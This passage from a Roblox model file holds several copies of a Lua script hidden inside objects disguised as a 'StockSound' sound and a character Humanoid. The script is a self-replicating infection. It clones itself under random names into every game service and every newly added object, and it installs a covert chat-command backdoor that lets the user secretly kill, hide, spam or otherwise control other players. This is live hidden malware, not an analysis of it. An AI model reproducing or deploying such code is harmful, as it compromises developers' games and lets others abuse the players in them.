if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
			</Item>
			<Item class="Humanoid" referent="RBX39">
				<Properties>
					<float name="Health">100</float>
					<bool name="Jump">false</bool>
					<float name="MaxHealth">100</float>
					<string name="Name">Humanoid</string>
					<bool name="Sit">false</bool>
					<bool name="Strafe">false</bool>
					<Vector3 name="TargetPoint">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<Vector3 name="WalkDirection">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="WalkRotationalVelocity">0</float>
					<float name="WalkSpeed">16</float>
					<Ref name="WalkToPart">null</Ref>
					<Vector3 name="WalkToPoint">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="StockSound" referent="RBX40">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">p2qr0i</string>
						<int name="PlayCount">-1</int>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Script" referent="RBX41">
						<Properties>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">d764crw</string>
							<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
			</Item>
			<Item class="StockSound" referent="RBX42">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">a9xb6w</string>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><null></null></Content>
					<float name="Volume">0.5</float>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Script" referent="RBX43">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">aiox2a</string>
						<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
